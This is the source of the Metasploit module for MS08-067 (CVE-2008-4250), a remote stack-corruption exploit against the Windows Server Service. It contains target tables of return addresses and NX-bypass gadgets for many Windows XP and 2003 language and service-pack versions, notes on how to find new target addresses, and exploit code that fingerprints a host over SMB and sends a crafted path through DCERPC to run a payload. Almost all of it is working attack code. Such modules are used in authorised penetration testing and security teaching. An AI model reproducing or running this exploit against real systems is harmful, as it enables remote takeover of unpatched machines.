1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248 249 250 251 252 253 254 255 256 257 258 259 260 261 262 263 264 265 266 267 268 269 270 271 272 273 274 275 276 277 278 279 280 281 282 283 284 285 286 287 288 289 290 291 292 293 294 295 296 297 298 299 300 301 302 303 304 305 306 307 308 309 310 311 312 313 314 315 316 317 318 319 320 321 322 323 324 325 326 327 328 329 330 331 332 333 334 335 336 337 338 339 340 341 342 343 344 345 346 347 348 349 350 351 352 353 354 355 356 357 358 359 360 361 362 363 364 365 366 367 368 369 370 371 372 373 374 375 376 377 378 379 380 381 382 383 384 385 386 387 388 389 390 391 392 393 394 395 396 397 398 399 400 401 402 403 404 405 406 407 408 409 410 411 412 413 414 415 416 417 418 419 420 421 422 423 424 425 426 427 428 429 430 431 432 433 434 435 436 437 438 439 440 441 442 443 444 445 446 447 448 449 450 451 452 453 454 455 456 457 458 459 460 461 462 463 464 465 466 467 468 469 470 471 472 473 474 475 476 477 478 479 480 481 482 483 484 485 486 487 488 489 490 491 492 493 494 495 496 497 498 499 500 501 502 503 504 505 506 507 508 509 510 511 512 513 514 515 516 517 518 519 520 521 522 523 524 525 526 527 528 529 530 531 532 533 534 535 536 537 538 539 540 541 542 543 544 545 546 547 548 549 550 551 552 553 554 555 556 557 558 559 560 561 562 563 564 565 566 567 568 569 570 571 572 573 574 575 576 577 578 579 580 581 582 583 584 585 586 587 588 589 590 591 592 593 594 595 596 597 598 599 600 601 602 603 604 605 606 607 608 609 610 611 612 613 614 615 616 617 618 619 620 621 622 623 624 625 626 627 628 629 630 631 632 633 634 635 636 637 638 639 640 641 642 643 644 645 646 647 648 649 650 651 652 653 654 655 656 657 658 659 660 661 662 663 664 665 666 667 668 669 670 671 672 673 674 675 676 677 678 679 680 681 682 683 684 685 686 687 688 689 690 691 692 693 694 695 696 697 698 699 700 701 702 703 704 705 706 707 708 709 710 711 712 713 714 715 716 717 718 719 720 721 722 723 724 725 726 727 728 729 730 731 732 733 734 735 736 737 738 739 740 741 742 743 744 745 746 747 748 749 750 751 752 753 754 755 756 757 758 759 760 761 762 763 764 765 766 767 768 769 770 771 772 773 774 775 776 777 778 779 780 781 782 783 784 785 786 787 788 789 790 791 792 793 794 795 796 797 798 799 800 801 802 803 804 805 806 807 808 809 810 811 812 813 814 815 816 817 818 819 820 821 822 823 824 825 826 827 828 829 830 831 832 833 834 835 836 837 838 839 840 841 842 843 844 845 846 847 848 849 850 851 852 853 854 855 856 857 858 859 860 861 862 863 864 865 866 867 868 869 870 871 872 873 874 875 876 877 878 879 880 881 882 883 884 885 886 887 888 889 890 891 892 893 894 895 896 897 898 899 900 901 902 903 904 905 906 907 908 909 910 911 912 913 914 915 916 917 918 919 920 921 922 923 924 925 926 927 928 929 930 931 932 933 934 935 936 937 938 939 940 941 942 943 944 945 946 947 948 949 |
## # $Id: ms08_067_netapi.rb 11614 2011-01-21 04:09:48Z jduck $ ## ## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = GreatRanking include Msf::Exploit::Remote::DCERPC include Msf::Exploit::Remote::SMB def initialize(info = {}) super(update_info(info, 'Name' => 'Microsoft Server Service Relative Path Stack Corruption', 'Description'=> %q{ This module exploits a parsing flaw in the path canonicalization code of NetAPI32.dll through the Server Service. This module is capable of bypassing NX on some operating systems and service packs. The correct target must be used to prevent the Server Service (along with a dozen others in the same process) from crashing. Windows XP targets seem to handle multiple successful exploitation events, but 2003 targets will often crash or hang on subsequent attempts. This is just the first version of this module, full support for NX bypass on 2003, along with other platforms, is still in development. }, 'Author' => [ 'hdm', # with tons of input/help/testing from the community 'Brett Moore <brett.moore[at]insomniasec.com>' ], 'License'=> MSF_LICENSE, 'Version'=> '$Revision: 11614 $', 'References' => [ [ 'CVE', '2008-4250'], [ 'OSVDB', '49243'], [ 'MSB', 'MS08-067' ], # If this vulnerability is found, ms08-67 is exposed as well [ 'NEXPOSE', 'dcerpc-ms-netapi-netpathcanonicalize-dos'] ], 'DefaultOptions' => { 'EXITFUNC' => 'thread', }, 'Privileged' => true, 'Payload'=> { 'Space'=> 400, 'BadChars' => "\x00\x0a\x0d\x5c\x5f\x2f\x2e\x40", 'Prepend'=> "\x81\xE4\xF0\xFF\xFF\xFF", # stack alignment 'StackAdjustment' => -3500, }, 'Platform' => 'win', 'DefaultTarget'=> 0, 'Targets'=> [ # # Automatic targetting via fingerprinting # [ 'Automatic Targeting', { 'auto' => true } ], # # UNIVERSAL TARGETS # # # Antoine's universal for Windows 2000 # Warning: DO NOT CHANGE THE OFFSET OF THIS TARGET # [ 'Windows 2000 Universal', { 'Ret' => 0x001f1cb0, 'Scratch' => 0x00020408, } ], # JMP EDI SVCHOST.EXE # # Standard return-to-ESI without NX bypass # Warning: DO NOT CHANGE THE OFFSET OF THIS TARGET # [ 'Windows XP SP0/SP1 Universal', { 'Ret' => 0x01001361, 'Scratch' => 0x00020408, } ], # JMP ESI SVCHOST.EXE # # ENGLISH TARGETS # # Metasploit's NX bypass for XP SP2/SP3 [ 'Windows XP SP2 English (NX)', { 'Ret' => 0x6f88f727, 'DisableNX' => 0x6f8916e2, 'Scratch' => 0x00020408 } ], # JMP ESI ACGENRAL.DLL, NX/NX BYPASS ACGENRAL.DLL # Metasploit's NX bypass for XP SP2/SP3 [ 'Windows XP SP3 English (NX)', { 'Ret' => 0x6f88f807, 'DisableNX' => 0x6f8917c2, 'Scratch' => 0x00020408 } ], # JMP ESI ACGENRAL.DLL, NX/NX BYPASS ACGENRAL.DLL # Standard return-to-ESI without NX bypass [ 'Windows 2003 SP0 Universal', { 'Ret' => 0x0100129e, 'Scratch' => 0x00020408, } ], # JMP ESI SVCHOST.EXE # Standard return-to-ESI without NX bypass [ 'Windows 2003 SP1 English (NO NX)', { 'Ret' => 0x71bf21a2, 'Scratch' => 0x00020408, } ], # JMP ESI WS2HELP.DLL # Brett Moore's crafty NX bypass for 2003 SP1 [ 'Windows 2003 SP1 English (NX)', { 'RetDec'=> 0x7c90568c, # dec ESI, ret @SHELL32.DLL 'RetPop'=> 0x7ca27cf4,# push ESI, pop EBP, ret @SHELL32.DLL 'JmpESP'=> 0x7c86fed3,# jmp ESP @NTDLL.DLL 'DisableNX' => 0x7c83e413,# NX disable @NTDLL.DLL 'Scratch' => 0x00020408, } ], # Standard return-to-ESI without NX bypass [ 'Windows 2003 SP1 Japanese (NO NX)', { 'Ret' => 0x71a921a2, 'Scratch' => 0x00020408, } ], # JMP ESI WS2HELP.DLL # Standard return-to-ESI without NX bypass [ 'Windows 2003 SP2 English (NO NX)', { 'Ret' => 0x71bf3969, 'Scratch' => 0x00020408, } ], # JMP ESI WS2HELP.DLL # Brett Moore's crafty NX bypass for 2003 SP2 [ 'Windows 2003 SP2 English (NX)', { 'RetDec'=> 0x7c86beb8,# dec ESI, ret @NTDLL.DLL 'RetPop'=> 0x7ca1e84e,# push ESI, pop EBP, ret @SHELL32.DLL 'JmpESP'=> 0x7c86a01b,# jmp ESP @NTDLL.DLL 'DisableNX' => 0x7c83f517,# NX disable @NTDLL.DLL 'Scratch' => 0x00020408, } ], # Standard return-to-ESI without NX bypass [ 'Windows 2003 SP2 German (NO NX)', { 'Ret' => 0x71a03969, 'Scratch' => 0x00020408, } ], # JMP ESI WS2HELP.DLL # Brett Moore's crafty NX bypass for 2003 SP2 [ 'Windows 2003 SP2 German (NX)', { 'RetDec'=> 0x7c98beb8,# dec ESI, ret @NTDLL.DLL 'RetPop'=> 0x7cb3e84e,# push ESI, pop EBP, ret @SHELL32.DLL 'JmpESP'=> 0x7c98a01b,# jmp ESP @NTDLL.DLL 'DisableNX' => 0x7c95f517,# NX disable @NTDLL.DLL 'Scratch' => 0x00020408, } ], # # NON-ENGLISH TARGETS - AUTOMATICALLY GENERATED # # Metasploit's NX bypass for XP SP2/SP3 [ 'Windows XP SP2 Arabic (NX)', { 'Ret' => 0x6fd8f727, 'DisableNX' => 0x6fd916e2, 'Scratch' => 0x00020408 } ], # JMP ESI ACGENRAL.DLL, NX/NX BYPASS ACGENRAL.DLL # Metasploit's NX bypass for XP SP2/SP3 [ 'Windows XP SP2 Chinese - Traditional / Taiwan (NX)', { 'Ret' => 0x5860f727, 'DisableNX' => 0x586116e2, 'Scratch' => 0x00020408 } ], # JMP ESI ACGENRAL.DLL, NX/NX BYPASS ACGENRAL.DLL # Metasploit's NX bypass for XP SP2/SP3 [ 'Windows XP SP2 Chinese - Simplified (NX)', { 'Ret' => 0x58fbf727, 'DisableNX' => 0x58fc16e2, 'Scratch' => 0x00020408 } ], # JMP ESI ACGENRAL.DLL, NX/NX BYPASS ACGENRAL.DLL # Metasploit's NX bypass for XP SP2/SP3 [ 'Windows XP SP2 Chinese - Traditional (NX)', { 'Ret' => 0x5860f727, 'DisableNX' => 0x586116e2, 'Scratch' => 0x00020408 } ], # JMP ESI ACGENRAL.DLL, NX/NX BYPASS ACGENRAL.DLL # Metasploit's NX bypass for XP SP2/SP3 [ 'Windows XP SP2 Czech (NX)', { 'Ret' => 0x6fe1f727, 'DisableNX' => 0x6fe216e2, 'Scratch' => 0x00020408 } ], # JMP ESI ACGENRAL.DLL, NX/NX BYPASS ACGENRAL.DLL # Metasploit's NX bypass for XP SP2/SP3 [ 'Windows XP SP2 Danish (NX)', { 'Ret' => 0x5978f727, 'DisableNX' => 0x597916e2, 'Scratch' => 0x00020408 } ], # JMP ESI ACGENRAL.DLL, NX/NX BYPASS ACGENRAL.DLL # Metasploit's NX bypass for XP SP2/SP3 [ 'Windows XP SP2 German (NX)', { 'Ret' => 0x6fd9f727, 'DisableNX' => 0x6fda16e2, 'Scratch' => 0x00020408 } ], # JMP ESI ACGENRAL.DLL, NX/NX BYPASS ACGENRAL.DLL # Metasploit's NX bypass for XP SP2/SP3 [ 'Windows XP SP2 Greek (NX)', { 'Ret' => 0x592af727, 'DisableNX' => 0x592b16e2, 'Scratch' => 0x00020408 } ], # JMP ESI ACGENRAL.DLL, NX/NX BYPASS ACGENRAL.DLL # Metasploit's NX bypass for XP SP2/SP3 [ 'Windows XP SP2 Spanish (NX)', { 'Ret' => 0x6fdbf727, 'DisableNX' => 0x6fdc16e2, 'Scratch' => 0x00020408 } ], # JMP ESI ACGENRAL.DLL, NX/NX BYPASS ACGENRAL.DLL # Metasploit's NX bypass for XP SP2/SP3 [ 'Windows XP SP2 Finnish (NX)', { 'Ret' => 0x597df727, 'DisableNX' => 0x597e16e2, 'Scratch' => 0x00020408 } ], # JMP ESI ACGENRAL.DLL, NX/NX BYPASS ACGENRAL.DLL # Metasploit's NX bypass for XP SP2/SP3 [ 'Windows XP SP2 French (NX)', { 'Ret' => 0x595bf727, 'DisableNX' => 0x595c16e2, 'Scratch' => 0x00020408 } ], # JMP ESI ACGENRAL.DLL, NX/NX BYPASS ACGENRAL.DLL # Metasploit's NX bypass for XP SP2/SP3 [ 'Windows XP SP2 Hebrew (NX)', { 'Ret' => 0x5940f727, 'DisableNX' => 0x594116e2, 'Scratch' => 0x00020408 } ], # JMP ESI ACGENRAL.DLL, NX/NX BYPASS ACGENRAL.DLL # Metasploit's NX bypass for XP SP2/SP3 [ 'Windows XP SP2 Hungarian (NX)', { 'Ret' => 0x5970f727, 'DisableNX' => 0x597116e2, 'Scratch' => 0x00020408 } ], # JMP ESI ACGENRAL.DLL, NX/NX BYPASS ACGENRAL.DLL # Metasploit's NX bypass for XP SP2/SP3 [ 'Windows XP SP2 Italian (NX)', { 'Ret' => 0x596bf727, 'DisableNX' => 0x596c16e2, 'Scratch' => 0x00020408 } ], # JMP ESI ACGENRAL.DLL, NX/NX BYPASS ACGENRAL.DLL # Metasploit's NX bypass for XP SP2/SP3 [ 'Windows XP SP2 Japanese (NX)', { 'Ret' => 0x567fd3be, 'DisableNX' => 0x568016e2, 'Scratch' => 0x00020408 } ], # JMP ESI ACGENRAL.DLL, NX/NX BYPASS ACGENRAL.DLL # Metasploit's NX bypass for XP SP2/SP3 [ 'Windows XP SP2 Korean (NX)', { 'Ret' => 0x6fd6f727, 'DisableNX' => 0x6fd716e2, 'Scratch' => 0x00020408 } ], # JMP ESI ACGENRAL.DLL, NX/NX BYPASS ACGENRAL.DLL # Metasploit's NX bypass for XP SP2/SP3 [ 'Windows XP SP2 Dutch (NX)', { 'Ret' => 0x596cf727, 'DisableNX' => 0x596d16e2, 'Scratch' => 0x00020408 } ], # JMP ESI ACGENRAL.DLL, NX/NX BYPASS ACGENRAL.DLL # Metasploit's NX bypass for XP SP2/SP3 [ 'Windows XP SP2 Norwegian (NX)', { 'Ret' => 0x597cf727, 'DisableNX' => 0x597d16e2, 'Scratch' => 0x00020408 } ], # JMP ESI ACGENRAL.DLL, NX/NX BYPASS ACGENRAL.DLL # Metasploit's NX bypass for XP SP2/SP3 [ 'Windows XP SP2 Polish (NX)', { 'Ret' => 0x5941f727, 'DisableNX' => 0x594216e2, 'Scratch' => 0x00020408 } ], # JMP ESI ACGENRAL.DLL, NX/NX BYPASS ACGENRAL.DLL # Metasploit's NX bypass for XP SP2/SP3 [ 'Windows XP SP2 Portuguese - Brazilian (NX)', { 'Ret' => 0x596ff727, 'DisableNX' => 0x597016e2, 'Scratch' => 0x00020408 } ], # JMP ESI ACGENRAL.DLL, NX/NX BYPASS ACGENRAL.DLL # Metasploit's NX bypass for XP SP2/SP3 [ 'Windows XP SP2 Portuguese (NX)', { 'Ret' => 0x596bf727, 'DisableNX' => 0x596c16e2, 'Scratch' => 0x00020408 } ], # JMP ESI ACGENRAL.DLL, NX/NX BYPASS ACGENRAL.DLL # Metasploit's NX bypass for XP SP2/SP3 [ 'Windows XP SP2 Russian (NX)', { 'Ret' => 0x6fe1f727, 'DisableNX' => 0x6fe216e2, 'Scratch' => 0x00020408 } ], # JMP ESI ACGENRAL.DLL, NX/NX BYPASS ACGENRAL.DLL # Metasploit's NX bypass for XP SP2/SP3 [ 'Windows XP SP2 Swedish (NX)', { 'Ret' => 0x597af727, 'DisableNX' => 0x597b16e2, 'Scratch' => 0x00020408 } ], # JMP ESI ACGENRAL.DLL, NX/NX BYPASS ACGENRAL.DLL # Metasploit's NX bypass for XP SP2/SP3 [ 'Windows XP SP2 Turkish (NX)', { 'Ret' => 0x5a78f727, 'DisableNX' => 0x5a7916e2, 'Scratch' => 0x00020408 } ], # JMP ESI ACGENRAL.DLL, NX/NX BYPASS ACGENRAL.DLL # Metasploit's NX bypass for XP SP2/SP3 [ 'Windows XP SP3 Arabic (NX)', { 'Ret' => 0x6fd8f807, 'DisableNX' => 0x6fd917c2, 'Scratch' => 0x00020408 } ], # JMP ESI ACGENRAL.DLL, NX/NX BYPASS ACGENRAL.DLL # Metasploit's NX bypass for XP SP2/SP3 [ 'Windows XP SP3 Chinese - Traditional / Taiwan (NX)', { 'Ret' => 0x5860f807, 'DisableNX' => 0x586117c2, 'Scratch' => 0x00020408 } ], # JMP ESI ACGENRAL.DLL, NX/NX BYPASS ACGENRAL.DLL # Metasploit's NX bypass for XP SP2/SP3 [ 'Windows XP SP3 Chinese - Simplified (NX)', { 'Ret' => 0x58fbf807, 'DisableNX' => 0x58fc17c2, 'Scratch' => 0x00020408 } ], # JMP ESI ACGENRAL.DLL, NX/NX BYPASS ACGENRAL.DLL # Metasploit's NX bypass for XP SP2/SP3 [ 'Windows XP SP3 Chinese - Traditional (NX)', { 'Ret' => 0x5860f807, 'DisableNX' => 0x586117c2, 'Scratch' => 0x00020408 } ], # JMP ESI ACGENRAL.DLL, NX/NX BYPASS ACGENRAL.DLL # Metasploit's NX bypass for XP SP2/SP3 [ 'Windows XP SP3 Czech (NX)', { 'Ret' => 0x6fe1f807, 'DisableNX' => 0x6fe217c2, 'Scratch' => 0x00020408 } ], # JMP ESI ACGENRAL.DLL, NX/NX BYPASS ACGENRAL.DLL # Metasploit's NX bypass for XP SP2/SP3 [ 'Windows XP SP3 Danish (NX)', { 'Ret' => 0x5978f807, 'DisableNX' => 0x597917c2, 'Scratch' => 0x00020408 } ], # JMP ESI ACGENRAL.DLL, NX/NX BYPASS ACGENRAL.DLL # Metasploit's NX bypass for XP SP2/SP3 [ 'Windows XP SP3 German (NX)', { 'Ret' => 0x6fd9f807, 'DisableNX' => 0x6fda17c2, 'Scratch' => 0x00020408 } ], # JMP ESI ACGENRAL.DLL, NX/NX BYPASS ACGENRAL.DLL # Metasploit's NX bypass for XP SP2/SP3 [ 'Windows XP SP3 Greek (NX)', { 'Ret' => 0x592af807, 'DisableNX' => 0x592b17c2, 'Scratch' => 0x00020408 } ], # JMP ESI ACGENRAL.DLL, NX/NX BYPASS ACGENRAL.DLL # Metasploit's NX bypass for XP SP2/SP3 [ 'Windows XP SP3 Spanish (NX)', { 'Ret' => 0x6fdbf807, 'DisableNX' => 0x6fdc17c2, 'Scratch' => 0x00020408 } ], # JMP ESI ACGENRAL.DLL, NX/NX BYPASS ACGENRAL.DLL # Metasploit's NX bypass for XP SP2/SP3 [ 'Windows XP SP3 Finnish (NX)', { 'Ret' => 0x597df807, 'DisableNX' => 0x597e17c2, 'Scratch' => 0x00020408 } ], # JMP ESI ACGENRAL.DLL, NX/NX BYPASS ACGENRAL.DLL # Metasploit's NX bypass for XP SP2/SP3 [ 'Windows XP SP3 French (NX)', { 'Ret' => 0x595bf807, 'DisableNX' => 0x595c17c2, 'Scratch' => 0x00020408 } ], # JMP ESI ACGENRAL.DLL, NX/NX BYPASS ACGENRAL.DLL # Metasploit's NX bypass for XP SP2/SP3 [ 'Windows XP SP3 Hebrew (NX)', { 'Ret' => 0x5940f807, 'DisableNX' => 0x594117c2, 'Scratch' => 0x00020408 } ], # JMP ESI ACGENRAL.DLL, NX/NX BYPASS ACGENRAL.DLL # Metasploit's NX bypass for XP SP2/SP3 [ 'Windows XP SP3 Hungarian (NX)', { 'Ret' => 0x5970f807, 'DisableNX' => 0x597117c2, 'Scratch' => 0x00020408 } ], # JMP ESI ACGENRAL.DLL, NX/NX BYPASS ACGENRAL.DLL # Metasploit's NX bypass for XP SP2/SP3 [ 'Windows XP SP3 Italian (NX)', { 'Ret' => 0x596bf807, 'DisableNX' => 0x596c17c2, 'Scratch' => 0x00020408 } ], # JMP ESI ACGENRAL.DLL, NX/NX BYPASS ACGENRAL.DLL # Metasploit's NX bypass for XP SP2/SP3 [ 'Windows XP SP3 Japanese (NX)', { 'Ret' => 0x567fd4d2, 'DisableNX' => 0x568017c2, 'Scratch' => 0x00020408 } ], # JMP ESI ACGENRAL.DLL, NX/NX BYPASS ACGENRAL.DLL # Metasploit's NX bypass for XP SP2/SP3 [ 'Windows XP SP3 Korean (NX)', { 'Ret' => 0x6fd6f807, 'DisableNX' => 0x6fd717c2, 'Scratch' => 0x00020408 } ], # JMP ESI ACGENRAL.DLL, NX/NX BYPASS ACGENRAL.DLL # Metasploit's NX bypass for XP SP2/SP3 [ 'Windows XP SP3 Dutch (NX)', { 'Ret' => 0x596cf807, 'DisableNX' => 0x596d17c2, 'Scratch' => 0x00020408 } ], # JMP ESI ACGENRAL.DLL, NX/NX BYPASS ACGENRAL.DLL # Metasploit's NX bypass for XP SP2/SP3 [ 'Windows XP SP3 Norwegian (NX)', { 'Ret' => 0x597cf807, 'DisableNX' => 0x597d17c2, 'Scratch' => 0x00020408 } ], # JMP ESI ACGENRAL.DLL, NX/NX BYPASS ACGENRAL.DLL # Metasploit's NX bypass for XP SP2/SP3 [ 'Windows XP SP3 Polish (NX)', { 'Ret' => 0x5941f807, 'DisableNX' => 0x594217c2, 'Scratch' => 0x00020408 } ], # JMP ESI ACGENRAL.DLL, NX/NX BYPASS ACGENRAL.DLL # Metasploit's NX bypass for XP SP2/SP3 [ 'Windows XP SP3 Portuguese - Brazilian (NX)', { 'Ret' => 0x596ff807, 'DisableNX' => 0x597017c2, 'Scratch' => 0x00020408 } ], # JMP ESI ACGENRAL.DLL, NX/NX BYPASS ACGENRAL.DLL # Metasploit's NX bypass for XP SP2/SP3 [ 'Windows XP SP3 Portuguese (NX)', { 'Ret' => 0x596bf807, 'DisableNX' => 0x596c17c2, 'Scratch' => 0x00020408 } ], # JMP ESI ACGENRAL.DLL, NX/NX BYPASS ACGENRAL.DLL # Metasploit's NX bypass for XP SP2/SP3 [ 'Windows XP SP3 Russian (NX)', { 'Ret' => 0x6fe1f807, 'DisableNX' => 0x6fe217c2, 'Scratch' => 0x00020408 } ], # JMP ESI ACGENRAL.DLL, NX/NX BYPASS ACGENRAL.DLL # Metasploit's NX bypass for XP SP2/SP3 [ 'Windows XP SP3 Swedish (NX)', { 'Ret' => 0x597af807, 'DisableNX' => 0x597b17c2, 'Scratch' => 0x00020408 } ], # JMP ESI ACGENRAL.DLL, NX/NX BYPASS ACGENRAL.DLL # Metasploit's NX bypass for XP SP2/SP3 [ 'Windows XP SP3 Turkish (NX)', { 'Ret' => 0x5a78f807, 'DisableNX' => 0x5a7917c2, 'Scratch' => 0x00020408 } ], # JMP ESI ACGENRAL.DLL, NX/NX BYPASS ACGENRAL.DLL # # Missing Targets # Key: T=TODO ?=UNKNOWN U=UNRELIABLE # # [?] Windows Vista SP0 - Not tested yet # [?] Windows Vista SP1 - Not tested yet # ], 'DisclosureDate' => 'Oct 28 2008')) register_options( [ OptString.new('SMBPIPE', [ true,"The pipe name to use (BROWSER, SRVSVC)", 'BROWSER']), ], self.class) end =begin *** WINDOWS XP SP2/SP3 TARGETS *** This exploit bypasses NX/NX by returning to a function call inside acgenral.dll that disables NX for the process and then returns back to a call ESI instruction. These addresses are different between operating systems, service packs, and language packs, but the steps below can be used to add new targets. If the target system does not have NX/NX, just place a "call ESI" return into both the Ret and DisableNX elements of the target hash. If the target system does have NX/NX, obtain a copy of the acgenral.dll from that system. First obtain the value for the Ret element of the hash with the following command: $ msfpescan -j esi acgenral.dll Pick whatever address you like, just make sure it does not contain 00 0a 0d 5c 2f or 2e. Next, find the location of the function we use to disable NX. Use the following command: $ msfpescan -r "\x6A\x04\x8D\x45\x08\x50\x6A\x22\x6A\xFF" acgenral.dll This address should be placed into the DisableNX element of the target hash. The Scratch element of 0x00020408 should work on all versions of Windows The actual function we use to disable NX looks like this: push4 lea eax, [ebp+arg_0] pusheax push22h push0FFFFFFFFh mov [ebp+arg_0], 2 callds:__imp__NtSetInformationProcess@16 *** WINDOWS XP NON-NX TARGETS *** Instead of bypassing NX, just return directly to a "JMP ESI", which takes us to the short jump, and finally the shellcode. *** WINDOWS 2003 SP2 TARGETS *** There are only two possible ways to return to NtSetInformationProcess on Windows 2003 SP2, both of these are inside NTDLL.DLL and use a return method that is not directly compatible with our call stack. To solve this, Brett Moore figured out a multi-step return call chain that eventually leads to the NX bypass function. *** WINDOWS 2000 TARGETS *** No NX to bypass, just return directly to a "JMP EDX", which takes us to the short jump, and finally the shellcode. *** WINDOWS VISTA TARGETS *** Currently untested, will involve ASLR and NX, should be fun. *** NetprPathCanonicalize IDL *** NET_API_STATUS NetprPathCanonicalize( [in, string, unique] SRVSVC_HANDLE ServerName, [in, string] WCHAR* PathName, [out, size_is(OutbufLen)] unsigned char* Outbuf, [in, range(0,64000)] DWORD OutbufLen, [in, string] WCHAR* Prefix, [in, out] DWORD* PathType, [in] DWORD Flags ); =end def exploit connect() smb_login() # Use a copy of the target mytarget = target if(target['auto']) mytarget = nil print_status("Automatically detecting the target...") fprint = smb_fingerprint() print_status("Fingerprint: #{fprint['os']} - #{fprint['sp']} - lang:#{fprint['lang']}") # Bail early on unknown OS if(fprint['os'] == 'Unknown') raise RuntimeError, "No matching target" end # Windows 2000 is mostly universal if(fprint['os'] == 'Windows 2000') mytarget = self.targets[1] end # Windows XP SP0/SP1 is mostly universal if(fprint['os'] == 'Windows XP' and fprint['sp'] == "Service Pack 0 / 1") mytarget = self.targets[2] end # Windows 2003 SP0 is mostly universal if(fprint['os'] == 'Windows 2003' and fprint['sp'] == "No Service Pack") mytarget = self.targets[5] end # Windows 2003 R2 is treated the same as 2003 if(fprint['os'] == 'Windows 2003 R2') fprint['os'] = 'Windows 2003' end # Service Pack match must be exact if((not mytarget) and fprint['sp'].index('+')) print_error("Could not determine the exact service pack") print_status("Auto-targeting failed, use 'show targets' to manually select one") disconnect return end # Language Pack match must be exact or we default to English if((not mytarget) and fprint['lang'] == 'Unknown') print_status("We could not detect the language pack, defaulting to English") fprint['lang'] = 'English' end # Normalize the service pack string fprint['sp'].gsub!(/Service Pack\s+/, 'SP') if(not mytarget) self.targets.each do |t| if(t.name =~ /#{fprint['os']} #{fprint['sp']} #{fprint['lang']} \(NX\)/) mytarget = t break end end end if(not mytarget) raise RuntimeError, "No matching target" end print_status("Selected Target: #{mytarget.name}") end # # Build the malicious path name # padder = [*("A".."Z")] pad = "A" while(pad.length < 7) c = padder[rand(padder.length)] next if pad.index(c) pad += c end prefix = "\\" path = "" server = Rex::Text.rand_text_alpha(rand(8)+1).upcase # # Windows 2000, XP (NX), and 2003 (NO NX) mytargets # if(not mytarget['RetDec']) jumper = Rex::Text.rand_text_alpha(70).upcase jumper[ 4,4] = [mytarget.ret].pack("V") jumper[50,8] = make_nops(8) jumper[58,2] = "\xeb\x62" path = Rex::Text.to_unicode("\\") + # This buffer is removed from the front Rex::Text.rand_text_alpha(100) + # Shellcode payload.encoded + # Relative path to trigger the bug Rex::Text.to_unicode("\\..\\..\\") + # Extra padding Rex::Text.to_unicode(pad) + # Writable memory location (static) [mytarget['Scratch']].pack("V") + # EBP # Return to code which disables NX (or just the return) [ mytarget['DisableNX'] || mytarget.ret ].pack("V") + # Padding with embedded jump jumper + # NULL termination "\x00" * 2 # # Windows 2003 SP2 (NX) mytargets # else jumper = Rex::Text.rand_text_alpha(70).upcase jumper[ 0,4] = [mytarget['RetDec']].pack("V")# one more to Align and make room jumper[ 4,4] = [mytarget['RetDec']].pack("V") # 4 more for space jumper[ 8,4] = [mytarget['RetDec']].pack("V") jumper[ 12,4] = [mytarget['RetDec']].pack("V") jumper[ 16,4] = [mytarget['RetDec']].pack("V") jumper[ 20,4] = [mytarget['RetPop']].pack("V")# pop to EBP jumper[ 24,4] = [mytarget['DisableNX']].pack("V") jumper[ 56,4] = [mytarget['JmpESP']].pack("V") jumper[ 60,4] = [mytarget['JmpESP']].pack("V") jumper[ 64,2] = "\xeb\x02"# our jump jumper[ 68,2] = "\xeb\x62" # original path = Rex::Text.to_unicode("\\") + # This buffer is removed from the front Rex::Text.rand_text_alpha(100) + # Shellcode payload.encoded + # Relative path to trigger the bug Rex::Text.to_unicode("\\..\\..\\") + # Extra padding Rex::Text.to_unicode(pad) + # Writable memory location (static) [mytarget['Scratch']].pack("V") + # EBP # Return to code which disables NX (or just the return) [mytarget['RetDec']].pack("V") + # Padding with embedded jump jumper + # NULL termination "\x00" * 2 end handle = dcerpc_handle( '4b324fc8-1670-01d3-1278-5a47bf6ee188', '3.0', 'ncacn_np', ["\\#{datastore['SMBPIPE']}"] ) dcerpc_bind(handle) stub = NDR.uwstring(server) + NDR.UnicodeConformantVaryingStringPreBuilt(path) + NDR.long(rand(1024)) + NDR.wstring(prefix) + NDR.long(4097) + NDR.long(0) # NOTE: we don't bother waiting for a response here... print_status("Attempting to trigger the vulnerability...") dcerpc.call(0x1f, stub, false) # Cleanup handler disconnect end end |